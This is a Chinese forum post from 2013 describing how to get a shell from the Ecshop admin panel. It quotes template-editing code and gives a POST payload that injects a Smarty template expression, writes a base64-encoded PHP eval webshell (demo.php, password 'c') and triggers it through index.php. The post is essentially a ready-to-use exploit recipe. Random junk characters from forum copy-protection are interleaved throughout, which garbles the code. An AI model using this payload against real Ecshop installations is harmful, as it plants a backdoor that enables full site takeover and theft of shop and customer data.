找回密码
 立即注册
查看: 3139|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板% J2 v8 \$ e. I7 C" Y
* S% w- ~$ W% h7 X  j
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
- Z0 J" m3 W6 l( Y1 G- R$ v但是ecshop似乎不支持{php}{/php}这个标签来执行php代码9 N( G9 k0 R/ D  G
admin/template.php% S" A3 b7 z5 a% @

. A5 v- C- n' o1 if ($_REQUEST['act'] == 'update_library')
4 L( p: m4 d0 W4 p/ \- N0 @' ?# S; E' A4 |1 @
2   ; K1 s7 i# V6 W) V# U! Y
6 Z! c: m$ O* B7 ?8 P8 F. b
3 { 2 k. \9 \0 F. ~1 k! `
% H3 w. f: m2 C+ J
4     check_authz_json('library_manage');   N$ r$ f& s5 H
/ t8 B. \+ c& t# o
5   
0 Q# l% \" ?( M6 N" g1 h  e& a( o# \5 ^
6     $html = stripslashes(json_str_iconv($_POST['html']));
$ K/ f' ?* L' o" D4 F! H8 G  e1 S! E* E1 H
7   ) m1 h# s- I& x0 ~  [

0 O) ^3 l, T6 y9 M! N& d0 ]- `8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
; e, r3 e1 ?8 {& g2 a+ j: D: S, ?( }
9   
/ R7 S! e/ [8 Y. b, M7 I6 t% p6 N  [* U  J. d
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 + {0 a* r$ ]1 A- d
( u: i& u" h, ^1 g& x* G
11   ) w+ ]0 x( u, S( H8 T) l
, r9 }, A. _( n* O
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
- l! L  _+ x5 t- ~. m$ e! }
: J1 G3 |; m& M4 x* G13   
. w2 P( b$ \- u! m
! m; [& E* s4 A9 S2 r$ U14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
( Y$ @: p! i, y
$ e2 z$ |7 B5 O# o15     { 3 ~! }# M* z7 _- O
' [7 u* P% g( G5 x# h
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); # R8 y- t" i9 X5 x% t) M, v7 [6 W0 {
7 B3 h2 V, C% [* U, [
17         make_json_result('', $_LANG['update_lib_success']); * h/ X7 Y0 c0 L3 U/ v" f

; L; }8 }9 S% y" c% ]18     }
# s& |  [5 P0 m
! m; o. g( b- q; N1 f2 L: i/ d19     else 9 N4 N% o, k; s$ c6 p' J/ k; W

0 ^3 r5 u' O+ V4 M6 S1 s20     { & ~3 U  `! b* @1 ^  B# w; v

) t! z' _9 a) R5 F$ J7 @* N21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
6 |  v3 u+ i6 b6 R. c$ a. M
% w* M  S: _* w7 w22     } ) k" T+ G. v& P# I

9 Q. C' f8 ^& Y: Y$ w7 w23 } ; E' y+ C5 U& k
' S& X, |# }9 ?; f  }7 m
那么找个比较方便调用了模板的文件, z% X4 w/ }5 U& t7 d; d0 A$ I
index.php
) q" `1 e1 D7 R3 J9 J6 U! K% f, a" x" p9 E5 Y$ m
1 if ($act == 'cat_rec')
1 q/ ?3 p1 [4 U, L' f) s2 A8 w4 y# X2 A
2   ) H' L$ e5 M2 Q4 V) C1 C
9 I( H5 G/ {! `0 S/ J- o- E
3 { : ]  |0 t% g. R+ z; ^, ?
4 i7 h/ z) k" F+ \% q3 _6 v% _( e
4   2 n- O1 [3 I0 g1 ~: m

0 r+ u1 x6 {: L) F5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); : }% V/ V8 i; t- {9 X" l: _
+ I: q* b+ S7 J
6   
! S) l4 e2 q8 w
3 U# m8 Q! C6 p" u; ~  [0 |4 n* |7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
4 w) l7 o/ k6 \) m! \* a$ X6 z4 G! Y/ `, }8 W
8   
" G$ _0 f  K7 N3 c9 i6 |! ~) g! H6 Y  Y* ?7 u3 I- g( y8 z
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; ) k4 g: o; ^5 R3 V

/ r% \& Z' J+ u3 L( M% G/ N1 b10   
( j! M; q- M0 n9 I8 j+ m
' s8 _! b% U, Z! E( p; m11     include_once('includes/cls_json.php');
$ X% n) y9 L# o1 U' `9 Z5 a! b( [9 C, q& f4 X* h
12   9 B! v9 b1 W, Y: k( \. g+ j! J

) I: d6 o3 n% ?( @+ G13     $json = new JSON;
/ `# q7 \! y; `: q: w( E- J( v4 x- k$ y& H
14   ; ]) q, S& k8 O4 i' y- Z
! f; |1 [9 `! B& A9 a7 l4 _$ e
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
( I% L+ r" h- J9 G! z6 o, t( m: J  X, k( R7 I* c
16   
& n& `! g" Y- w% B: u0 B* L) J
: W4 k( h( g$ N+ [% a& ^  X/ V17     $children = get_children($cat_id); + m8 [' G5 q1 H# K# W# r

. A) Z8 i5 O6 J$ K3 Y18   0 \5 M: ^. J+ b9 X
, \/ t2 O/ j) w. U( n: c8 R! j& m
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品 * M9 H0 z5 W# ~8 g4 R

' V* f+ H; p: m20   
- A9 Q0 z. y3 Y2 ^% U7 w4 d
: {) \0 Z$ x& _! q% G21     $smarty->assign('cat_rec_sign', 1); ( Q: _& q, y# K+ {. r+ n, Y2 P4 H

6 {( s; A) C) j) z1 q* x' _9 V6 b22   
6 a) d& M# d3 Y' y  L( y' V4 B5 ]! h. v7 r( ]' G
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best % p) {; r$ O7 w5 j. |) O! T
- A' `$ z4 g! c, T8 u4 W$ `( ^
24   
1 w7 e+ |! w* [/ ~0 v- y3 r8 l5 y, ?) u) u' L
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; " L/ j* k# U  j" a3 F$ H, i

/ x$ j! n& _1 y, D% J+ x- B26   ) C1 g2 I, L/ Z7 q4 S

( U- t# i' V) t27         echo $rec_array[$rec_type];
: D6 v9 T9 g2 g  G, G
  L( C* e6 W, ]9 I28   " P$ R- v) X: W1 @3 u% F7 z
/ p  w5 k$ p7 Z% T7 A+ ~" @* S
29     die($json->encode($result));
4 `+ K( H7 u7 {! @! j" B$ l5 r1 ~6 f5 B: e; D
30   
* O( ~' d- P( L' q+ |
# ]' n" u% S5 N/ b31 }
) n: T0 W% n& m2 g% e" x
4 O8 J8 ~% f: u2 B) A' Z8 c那么就有利用方法了
3 F. P! S/ I! Q* l7 |post包到http://localhost/ec/admin/template.php?act=update_library
, }3 a, Z* i# S7 ?Post内容:
& \; F2 }0 `. Y% ?7 r$ J
3 |" ~6 _/ R1 h& f1 [
! k0 G; t4 H+ D. n1 G6 ]- [, [1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} 7 f! t. ]# v. |2 c2 G. v

7 b3 ]1 ^- K, x1 \8 K7 W' N! C7 F$ e然后访问http://localhost/ec/index.php?act=cat_rec
# O: Q# }& V$ \' X, x2 N0 E
* |3 C' U% z- R! ^  z2 u! j- Jshel地址:http://localhost/ec/demo.php3 f, f( H4 _- e5 T* ]+ o
密码c
- Y2 m1 v' a, [
9 u- r6 J2 A6 T6 J$ e/ n: @
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表